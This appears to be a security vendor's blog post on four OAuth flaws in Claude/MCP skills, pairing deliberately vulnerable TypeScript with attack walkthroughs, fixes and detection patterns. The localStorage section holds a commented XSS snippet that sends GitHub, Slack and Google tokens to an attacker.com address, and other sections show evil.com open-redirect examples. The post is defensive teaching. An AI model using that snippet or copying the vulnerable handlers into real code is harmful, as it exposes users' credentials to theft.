← Blog

Claude skill OAuth security — SA-SKL-OAUTH: state CSRF, PKCE bypass, redirect_uri hijack, localStorage token exposure

MCP skills that connect to external APIs through OAuth 2.0 flows inherit a family of well-documented but frequently misimplemented security controls. OAuth itself is not a protocol you can safely implement from scratch by reading the RFC once — the attack surface lives in the gaps between steps. SA-SKL-OAUTH covers four patterns that appear repeatedly in MCP skill codebases: a missing state parameter check that enables CSRF on the authorization callback, absent PKCE that lets a rogue app on the same device exchange an intercepted code for real tokens, a redirect_uri accepted from user-supplied query parameters that delivers the code to an attacker-controlled domain, and access tokens persisted in localStorage where any same-domain XSS can silently exfiltrate them.

By SkillAudit  |  5 Nov 2026

OAuth 2.0 flows are common in Claude skills that integrate with GitHub, Google, Slack, or any third-party API requiring user delegation. The authorization code flow in particular has several steps where a missing or incorrect implementation detail opens a critical vulnerability. What makes these bugs insidious is that the OAuth flow appears to work perfectly in normal use — the user authenticates, the code is exchanged, and the token is stored. The vulnerability only manifests when an attacker interacts with the edge cases in the protocol that the developer never tested. SkillAudit's SA-SKL-OAUTH patterns are designed to catch these before an attacker does.

SA-SKL-OAUTH-001: State parameter not validated on callback — CSRF on the OAuth callback binds victim tokens to attacker session

The OAuth 2.0 state parameter exists specifically to prevent CSRF on the authorization callback endpoint. When an OAuth flow starts, the client generates a random nonce, stores it in the user's session, and includes it as the state parameter in the authorization request. The OAuth server reflects the state value back to the callback URL unchanged. The callback endpoint must verify that the received state matches the nonce stored in the user's session before it exchanges the authorization code for tokens. If this check is absent, an attacker can initiate a parallel OAuth flow with a legitimate provider, capture the authorization code that the OAuth server delivers to the attacker, and then trick a logged-in victim into visiting a crafted callback URL that completes the exchange using the victim's session. The attacker's code is exchanged under the victim's identity, binding the resulting tokens to the victim's account rather than the attacker's:

// VULNERABLE: OAuth callback endpoint with no state parameter validation
// An attacker can CSRF the victim into completing the attacker's authorization flow
import express from 'express';
import session from 'express-session';

const app = express();
app.use(session({ secret: process.env.SESSION_SECRET!, cookie: { httpOnly: true, secure: true } }));

// Step 1: initiate OAuth — no state generated
app.get('/auth/github', (req, res) => {
  const authUrl = new URL('https://github.com/login/oauth/authorize');
  authUrl.searchParams.set('client_id', process.env.GITHUB_CLIENT_ID!);
  authUrl.searchParams.set('redirect_uri', 'https://skillaudit.dev/auth/callback');
  authUrl.searchParams.set('scope', 'repo read:org');
  // MISSING: generate and store state nonce in session
  res.redirect(authUrl.toString());
});

// Step 2: OAuth callback — does not check state parameter at all
app.get('/auth/callback', async (req, res) => {
  const { code } = req.query;
  // MISSING: verify req.query.state === req.session.oauthState
  // Any caller who lands on this URL with a valid code will exchange it successfully
  const tokenResponse = await fetch('https://github.com/login/oauth/access_token', {
    method: 'POST',
    headers: { Accept: 'application/json', 'Content-Type': 'application/json' },
    body: JSON.stringify({
      client_id: process.env.GITHUB_CLIENT_ID,
      client_secret: process.env.GITHUB_CLIENT_SECRET,
      code,
      redirect_uri: 'https://skillaudit.dev/auth/callback',
    }),
  });
  const { access_token } = await tokenResponse.json();
  req.session.githubToken = access_token; // bound to victim's session
  res.redirect('/dashboard');
});

// ATTACK:
// 1. Attacker visits https://github.com/login/oauth/authorize?client_id=ATTACKER_ID&...
// 2. Attacker authenticates — GitHub delivers code to attacker's registered callback
// 3. Attacker captures the code from GitHub's redirect, does NOT exchange it
// 4. Attacker crafts: https://skillaudit.dev/auth/callback?code=CAPTURED_CODE
// 5. Victim (logged in) is tricked into visiting the crafted URL (email link, img src, etc.)
// 6. skillaudit.dev exchanges CAPTURED_CODE — attacker's GitHub account tokens are
//    now stored on the victim's skillaudit.dev session
// 7. All GitHub API calls from victim's session now act as the attacker's GitHub account
//    (account takeover, repo access under wrong identity, audit data contamination)

// SECURE: generate a cryptographic state nonce, store in session, verify on callback
import crypto from 'crypto';

app.get('/auth/github/secure', (req, res) => {
  const state = crypto.randomBytes(32).toString('hex');
  req.session.oauthState = state;
  req.session.oauthStateExpiry = Date.now() + 10 * 60 * 1000; // 10-minute expiry

  const authUrl = new URL('https://github.com/login/oauth/authorize');
  authUrl.searchParams.set('client_id', process.env.GITHUB_CLIENT_ID!);
  authUrl.searchParams.set('redirect_uri', 'https://skillaudit.dev/auth/callback');
  authUrl.searchParams.set('scope', 'repo read:org');
  authUrl.searchParams.set('state', state);
  res.redirect(authUrl.toString());
});

app.get('/auth/callback/secure', async (req, res) => {
  const { code, state } = req.query;

  // 1. Check that a state nonce was set in this session at all
  if (!req.session.oauthState) {
    return res.status(403).send('No OAuth flow in progress for this session');
  }
  // 2. Check that the nonce has not expired
  if (Date.now() > (req.session.oauthStateExpiry ?? 0)) {
    delete req.session.oauthState;
    return res.status(403).send('OAuth state nonce expired');
  }
  // 3. Timing-safe comparison to prevent oracle attacks on the nonce value
  const expected = Buffer.from(req.session.oauthState as string, 'hex');
  const received = Buffer.from(typeof state === 'string' && state.length === req.session.oauthState.length ? state : '', 'hex');
  const stateValid = expected.length === received.length && crypto.timingSafeEqual(expected, received);

  // 4. Consume the nonce regardless of outcome (prevent replay)
  delete req.session.oauthState;
  delete req.session.oauthStateExpiry;

  if (!stateValid) {
    return res.status(403).send('Invalid OAuth state parameter');
  }

  // State is valid — safe to exchange the code
  const tokenResponse = await fetch('https://github.com/login/oauth/access_token', {
    method: 'POST',
    headers: { Accept: 'application/json', 'Content-Type': 'application/json' },
    body: JSON.stringify({
      client_id: process.env.GITHUB_CLIENT_ID,
      client_secret: process.env.GITHUB_CLIENT_SECRET,
      code,
      redirect_uri: 'https://skillaudit.dev/auth/callback',
    }),
  });
  const { access_token } = await tokenResponse.json();
  req.session.githubToken = access_token;
  res.redirect('/dashboard');
});

The state parameter is not optional in production OAuth implementations: The OAuth 2.0 RFC (RFC 6749 section 10.12) explicitly states that the state parameter SHOULD be used to prevent CSRF. Many OAuth providers require it. Any MCP skill that skips state validation is one malicious email link away from an account linking attack that associates the wrong external identity with the victim's local account — a vulnerability that can persist silently for months before discovery.

HIGH
SA-SKL-OAUTH-001 — OAuth callback endpoint exchanges authorization code without verifying state against session nonce: attacker initiates OAuth flow, captures code, tricks victim into completing exchange; attacker's external tokens are bound to victim's local session enabling account linking attacks. Fix: generate 32-byte hex nonce with crypto.randomBytes(32).toString('hex'), store in session with expiry, compare using crypto.timingSafeEqual before exchange, delete nonce after use. Detection: app.get('/auth/callback') handler with no req.session.oauthState comparison → HIGH.

SA-SKL-OAUTH-002: Authorization code exchange without PKCE — code interceptable on native and mobile apps

PKCE (Proof Key for Code Exchange, RFC 7636) was designed to solve a specific attack vector in native and mobile applications: when an OAuth authorization code is delivered via a custom URL scheme deep link (e.g., myapp://auth/callback?code=...), any application on the device that has registered the same URL scheme can intercept the redirect and capture the authorization code. Without PKCE, the captured code alone is sufficient to exchange for access tokens, because the standard authorization code grant requires only the code plus the client credentials. With PKCE, the original app generated a random code_verifier at the start of the flow, sent its SHA-256 hash (code_challenge) in the authorization request, and the token endpoint requires the original code_verifier to be presented at exchange. A malicious app that intercepted only the code has no access to the code_verifier and cannot complete the exchange:

// VULNERABLE: native/Electron MCP skill initiating OAuth without PKCE
// code intercepted by a malicious app on the same device is fully exchangeable
import { shell } from 'electron';
import http from 'http';

async function startOAuthFlow() {
  // Authorization URL with no code_challenge — PKCE entirely absent
  const authUrl = new URL('https://github.com/login/oauth/authorize');
  authUrl.searchParams.set('client_id', process.env.GITHUB_CLIENT_ID!);
  authUrl.searchParams.set('redirect_uri', 'skillaudit://auth/callback');
  authUrl.searchParams.set('scope', 'repo read:org');
  // MISSING: code_challenge and code_challenge_method parameters

  await shell.openExternal(authUrl.toString());
  // OAuth server redirects to: skillaudit://auth/callback?code=CODE
  // Any app registered for the skillaudit:// scheme intercepts this redirect
}

async function handleCallback(code: string) {
  // No code_verifier sent — the intercepted code alone is sufficient
  const response = await fetch('https://github.com/login/oauth/access_token', {
    method: 'POST',
    headers: { Accept: 'application/json', 'Content-Type': 'application/json' },
    body: JSON.stringify({
      client_id: process.env.GITHUB_CLIENT_ID,
      client_secret: process.env.GITHUB_CLIENT_SECRET,
      code,
      redirect_uri: 'skillaudit://auth/callback',
      // MISSING: code_verifier
    }),
  });
  const { access_token } = await response.json();
  return access_token;
}

// ATTACK: malicious app on same device (macOS/Windows/Linux)
// 1. Registers the skillaudit:// URL scheme in its app manifest
// 2. Legitimate SkillAudit app opens the GitHub auth URL in browser
// 3. User authenticates with GitHub; GitHub redirects to skillaudit://auth/callback?code=CODE
// 4. OS prompts user to choose app, or if the malicious app is associated first,
//    it receives the deep-link redirect directly
// 5. Malicious app extracts ?code=CODE from the URL
// 6. Malicious app POST to /token with code — succeeds because no PKCE validation
// 7. Malicious app receives victim's GitHub access token

// SECURE: implement PKCE S256 challenge in the authorization flow
import crypto from 'crypto';

function generatePKCE(): { codeVerifier: string; codeChallenge: string } {
  // code_verifier: 32 random bytes, base64url encoded (43-128 chars per RFC 7636)
  const codeVerifier = crypto.randomBytes(32).toString('base64url');
  // code_challenge: SHA-256 of verifier, base64url encoded
  const codeChallenge = crypto
    .createHash('sha256')
    .update(codeVerifier)
    .digest('base64url');
  return { codeVerifier, codeChallenge };
}

// Persistent store for the verifier between authorization and callback
let pendingCodeVerifier: string | null = null;

async function startOAuthFlowSecure() {
  const { codeVerifier, codeChallenge } = generatePKCE();
  pendingCodeVerifier = codeVerifier; // persist across the redirect round-trip

  const authUrl = new URL('https://github.com/login/oauth/authorize');
  authUrl.searchParams.set('client_id', process.env.GITHUB_CLIENT_ID!);
  authUrl.searchParams.set('redirect_uri', 'skillaudit://auth/callback');
  authUrl.searchParams.set('scope', 'repo read:org');
  authUrl.searchParams.set('code_challenge', codeChallenge);
  authUrl.searchParams.set('code_challenge_method', 'S256');

  await shell.openExternal(authUrl.toString());
}

async function handleCallbackSecure(code: string) {
  if (!pendingCodeVerifier) {
    throw new Error('No pending PKCE verifier — possible replay or orphaned callback');
  }
  const verifier = pendingCodeVerifier;
  pendingCodeVerifier = null; // consume immediately — single-use

  const response = await fetch('https://github.com/login/oauth/access_token', {
    method: 'POST',
    headers: { Accept: 'application/json', 'Content-Type': 'application/json' },
    body: JSON.stringify({
      client_id: process.env.GITHUB_CLIENT_ID,
      client_secret: process.env.GITHUB_CLIENT_SECRET,
      code,
      redirect_uri: 'skillaudit://auth/callback',
      code_verifier: verifier, // OAuth server verifies SHA-256(verifier) === stored challenge
    }),
  });
  const { access_token, error } = await response.json();
  if (error) throw new Error(`Token exchange failed: ${error}`);
  return access_token;
  // A malicious app that intercepted the code has no access to `verifier`
  // and cannot reconstruct it — the token endpoint rejects their request
}

PKCE is now recommended for all OAuth clients, not just native apps: RFC 9700 (OAuth 2.0 for Browser-Based Apps) and the OAuth Security Best Current Practice (RFC 9700) both recommend PKCE for web apps as well as native apps. Many OAuth providers (Auth0, Okta, Microsoft Identity) now require PKCE even for confidential clients. Any new OAuth implementation in an MCP skill should include PKCE from the start regardless of platform.

HIGH
SA-SKL-OAUTH-002 — Authorization code flow without PKCE in native or Electron-based MCP skill: a malicious app registering the same custom URL scheme captures the authorization code from the deep-link redirect; without a code_verifier to present, the code alone exchanges for real access tokens. Fix: generate code_verifier with crypto.randomBytes(32).toString('base64url'); compute code_challenge as SHA-256 base64url; send both parameters in /authorize; include code_verifier in /token exchange. Detection: OAuth authorization URL constructed without code_challenge parameter → HIGH.

SA-SKL-OAUTH-003: redirect_uri accepted from user-supplied query parameter — authorization code delivered to attacker domain

The redirect_uri parameter in an OAuth authorization request tells the OAuth server where to send the authorization code after the user authenticates. OAuth servers must validate the redirect_uri against a pre-registered allowlist for each client. However, some MCP skill implementations compound this by also accepting the redirect_uri as a user-supplied query parameter in their own authorization initiation endpoint — meaning the skill itself will construct an authorization request with an attacker-controlled redirect URI. Even if the OAuth server validates the redirect URI (and not all do, especially self-hosted ones), the skill's own callback endpoint may also use the same parameter to perform a post-authentication redirect, creating an open redirect that sends the code or the tokens to an attacker page:

// VULNERABLE: redirect_uri passed through from user-supplied query parameter
// to both the OAuth server and as a post-auth redirect target
import express from 'express';

const app = express();

// VULNERABILITY 1: skill uses req.query.redirect_uri in the authorization request
// If the OAuth server does not strictly validate redirect URIs, attacker controls
// where the authorization code is delivered
app.get('/auth/github', (req, res) => {
  const redirectUri = req.query.redirect_uri as string
    ?? 'https://skillaudit.dev/auth/callback'; // default, but overridable

  const authUrl = new URL('https://github.com/login/oauth/authorize');
  authUrl.searchParams.set('client_id', process.env.GITHUB_CLIENT_ID!);
  authUrl.searchParams.set('redirect_uri', redirectUri); // attacker controls this
  authUrl.searchParams.set('scope', 'repo read:org');
  authUrl.searchParams.set('state', generateState(req.session));
  res.redirect(authUrl.toString());
  // If redirectUri = 'https://attacker.com/steal', GitHub (if vulnerable to open redirect
  // on subdomain or exact-match bypass) sends the code to attacker.com
});

// VULNERABILITY 2: callback uses a req.query.next or req.query.redirect parameter
// for post-authentication redirect — attacker appends it via crafted link
app.get('/auth/callback', async (req, res) => {
  const { code, state, next } = req.query;

  verifyState(req.session, state as string); // state check present
  const { access_token } = await exchangeCode(code as string);
  req.session.accessToken = access_token;

  // OPEN REDIRECT: attacker crafts callback URL with ?next=https://evil.com
  // Victim completes legitimate OAuth, tokens are stored, then browser is redirected
  // to evil.com which shows "authentication complete" while silently stealing tokens
  const destination = (next as string) ?? '/dashboard';
  res.redirect(destination); // unvalidated redirect target
});

// ATTACK:
// Attacker crafts: https://skillaudit.dev/auth/callback?code=LEGIT&state=VALID&next=https://evil.com/phish
// (Or: ?redirect_uri=https://evil.com in the /auth/github initiation endpoint)
// Victim completes OAuth normally; SkillAudit processes the tokens; browser redirects to evil.com
// evil.com now has a window to steal post-auth session via referrer header or further phishing

// SECURE: register allowed redirect URIs in environment config; never accept them from query params
const ALLOWED_POST_AUTH_REDIRECTS = new Set([
  '/dashboard',
  '/audits',
  '/settings',
  '/onboarding',
]);

// The OAuth redirect_uri must always be the fixed registered value
const OAUTH_REDIRECT_URI = 'https://skillaudit.dev/auth/callback';

app.get('/auth/github/secure', (req, res) => {
  const authUrl = new URL('https://github.com/login/oauth/authorize');
  authUrl.searchParams.set('client_id', process.env.GITHUB_CLIENT_ID!);
  authUrl.searchParams.set('redirect_uri', OAUTH_REDIRECT_URI); // hardcoded, never from query
  authUrl.searchParams.set('scope', 'repo read:org');
  authUrl.searchParams.set('state', generateState(req.session));

  // If a post-auth destination is needed, store it in the session — not in the URL
  const desiredDestination = req.query.next as string | undefined;
  if (desiredDestination && ALLOWED_POST_AUTH_REDIRECTS.has(desiredDestination)) {
    req.session.postAuthRedirect = desiredDestination;
  }
  res.redirect(authUrl.toString());
});

app.get('/auth/callback/secure', async (req, res) => {
  const { code, state } = req.query;
  verifyState(req.session, state as string); // throws on mismatch

  const { access_token } = await exchangeCode(code as string);
  req.session.accessToken = access_token;

  // Retrieve post-auth redirect from session (attacker cannot influence this)
  const destination = req.session.postAuthRedirect ?? '/dashboard';
  delete req.session.postAuthRedirect;

  // Additional safety check: only allow relative paths starting with /
  const safeDestination = destination.startsWith('/') ? destination : '/dashboard';
  res.redirect(safeDestination);
});

OAuth servers vary in how strictly they validate redirect_uri: Some OAuth servers perform exact-string matching against the registered URI (most secure). Others perform prefix matching, allowing https://skillaudit.dev/auth/callback?extra=param to pass when only https://skillaudit.dev/auth/callback is registered. If you host your own OAuth server (e.g., Auth0 community edition, Keycloak, or a custom implementation), verify that it enforces exact matching and rejects any redirect_uri that is not byte-for-byte identical to the registered value.

HIGH
SA-SKL-OAUTH-003 — OAuth authorization URL constructed with redirect_uri taken from user-supplied query parameters, or post-auth redirect using an unvalidated next parameter: attacker crafts link targeting attacker-controlled domain; victim authenticates legitimately; authorization code or post-auth session delivered to attacker. Fix: hardcode redirect_uri to the registered value; store post-auth destination in session, not URL; validate against an allowlist of relative paths before redirecting. Detection: authUrl.searchParams.set('redirect_uri', req.query.redirect_uri) or res.redirect(req.query.next) without allowlist check → HIGH.

SA-SKL-OAUTH-004: Access token stored in localStorage — XSS on the same domain exfiltrates all tokens

When an MCP skill's frontend SPA receives an access token from the OAuth callback, it needs somewhere to store it so that subsequent API calls can include it in the Authorization: Bearer header. localStorage is the obvious choice — it persists across page loads, it is easy to read and write, and many OAuth examples on the internet use it without comment. The problem is that every piece of JavaScript executing on the same origin has unrestricted read access to localStorage. Any XSS vulnerability in the application — a third-party script loaded from a CDN, a user-controlled value rendered without escaping, an open redirect to a javascript: URI — can read every token stored in localStorage and exfiltrate it in a single fetch call. The attacker does not need to hijack the session cookie; the token itself is the credential, and localStorage makes it trivially accessible:

// VULNERABLE: SPA stores OAuth access token in localStorage after callback
// Any XSS on skillaudit.dev can read it with one line

// In the OAuth callback page or the SPA router handling the hash/query:
const params = new URLSearchParams(window.location.search);
const accessToken = params.get('access_token');  // token in URL fragment or query
if (accessToken) {
  localStorage.setItem('github_token', accessToken);  // VULNERABLE
  localStorage.setItem('token_expiry', String(Date.now() + 3600 * 1000));
}

// In API calls:
async function callGitHubApi(path: string) {
  const token = localStorage.getItem('github_token');  // read from localStorage
  if (!token) throw new Error('Not authenticated');
  return fetch(`https://api.github.com${path}`, {
    headers: { Authorization: `Bearer ${token}` },
  });
}

// ATTACK: any XSS on skillaudit.dev can exfiltrate all stored tokens:
// <script>
//   const tokens = {
//     github: localStorage.getItem('github_token'),
//     slack: localStorage.getItem('slack_token'),
//     google: localStorage.getItem('google_token'),
//   };
//   fetch('https://attacker.com/steal', {
//     method: 'POST',
//     body: JSON.stringify(tokens),
//   });
// </script>
//
// XSS sources in MCP skills include:
// - User-controlled audit descriptions rendered as innerHTML
// - Markdown-to-HTML converters that allow raw <script> tags
// - Third-party analytics or customer support scripts with supply chain compromise
// - postMessage handlers that do not validate the origin before writing to the DOM

// VULNERABLE VARIANT: sessionStorage is equally accessible to XSS
sessionStorage.setItem('access_token', accessToken); // same risk as localStorage

// SECURE OPTION 1: httpOnly session cookie — JavaScript cannot read it at all
// The OAuth callback endpoint (server-side) sets the token in a session cookie:
// In Express callback handler:
app.get('/auth/callback', async (req, res) => {
  const { code, state } = req.query;
  verifyState(req.session, state as string);
  const { access_token, refresh_token } = await exchangeCode(code as string);

  // Store tokens server-side in the session — never transmitted to the browser
  req.session.githubAccessToken = access_token;
  req.session.githubRefreshToken = refresh_token;
  // Session is identified by an httpOnly, Secure, SameSite=Lax cookie
  // XSS cannot read the cookie or the token — both are httpOnly

  res.redirect('/dashboard');
});

// SECURE OPTION 2: in-memory storage (React state or module-level variable)
// Token survives page reloads only within the tab; lost on tab close
// XSS executing during the same page session can still access it,
// but it does not survive page loads and cannot be exfiltrated via stored XSS later
let inMemoryToken: string | null = null;

function setToken(token: string): void {
  inMemoryToken = token; // module-level, not in any browser-accessible storage API
}
function getToken(): string | null {
  return inMemoryToken;
}

// SECURE OPTION 3: for cases where persistence across sessions is required,
// use a service worker to hold the token and proxy authenticated requests
// The service worker intercepts all fetches to your API domain and adds the Authorization header
// The main page never has direct access to the token value
// See: https://auth0.com/docs/secure/security-guidance/auth-protocol-best-practices

sessionStorage provides no meaningful security improvement over localStorage against XSS: Both localStorage and sessionStorage are readable by any JavaScript on the same origin. The only difference is persistence: localStorage survives browser restarts while sessionStorage is cleared when the tab closes. Neither prevents an XSS payload from reading and exfiltrating the token during the current session. The only storage location that is truly inaccessible to JavaScript is an httpOnly cookie. If your tokens must persist across sessions, use server-side session storage with an httpOnly session cookie as the identifier.

HIGH
SA-SKL-OAUTH-004 — OAuth access tokens stored in localStorage or sessionStorage: any XSS executing on the same origin reads all stored tokens in one localStorage.getItem() call and exfiltrates them; attacker obtains durable API credentials independent of the user's current session. Fix: store access tokens in httpOnly session cookie set by the server-side callback handler; alternatively use in-memory module variable that does not survive page loads; never use localStorage or sessionStorage for tokens with sensitive API scopes. Detection: localStorage.setItem(.*token or sessionStorage.setItem(.*token in OAuth callback handling code → HIGH.

SkillAudit detection summary — SA-SKL-OAUTH

Pattern IDSeverityWhat SkillAudit flagsFix
OAUTH-001 HIGH OAuth callback handler exchanges authorization code without comparing req.query.state against session-stored nonce; CSRF binds attacker tokens to victim session Generate 32-byte hex nonce in /authorize, store in session with expiry, verify with crypto.timingSafeEqual in callback, delete after use
OAUTH-002 HIGH OAuth authorization URL constructed without code_challenge and code_challenge_method=S256; intercepted code exchangeable without proof of original request Generate code_verifier via crypto.randomBytes(32).toString('base64url'); compute S256 challenge; include verifier in token exchange
OAUTH-003 HIGH OAuth redirect_uri or post-auth redirect target derived from user-supplied query parameters; attacker controls destination for code or tokens Hardcode redirect_uri to registered value; store post-auth destination in session; validate against allowlist of relative paths
OAUTH-004 HIGH Access tokens written to localStorage or sessionStorage; any same-domain XSS reads and exfiltrates all stored tokens in a single call Store tokens in httpOnly session cookie set server-side; or use in-memory module variable; never use browser storage APIs for tokens with sensitive scopes

Related patterns: SA-SKL-CSRF CSRF protection (state parameter validation shares technique with CSRF token validation), SA-SKL-SESS session and state security (session fixation and cookie security that underpins OAuth session binding), SA-SKL-REDIR open redirect security (redirect_uri and post-auth redirect validation patterns), SA-SKL-COOKIE secure cookie security (httpOnly and SameSite attributes for token storage).

SkillAudit's SA-SKL-OAUTH detection covers all four patterns through static analysis of OAuth flow implementation in MCP skill codebases: callback handlers lacking session state comparison, authorization URL construction without PKCE parameters, redirect_uri or next parameters sourced from user input, and localStorage.setItem calls that persist access tokens. For the complete vulnerability taxonomy see the SA-SKL attack surface reference.

Scan your Claude skill for OAuth vulnerabilities

SkillAudit detects missing state validation, absent PKCE, open redirect_uri, and localStorage token exposure across the full SA-SKL-OAUTH family in 60 seconds.

Get your free audit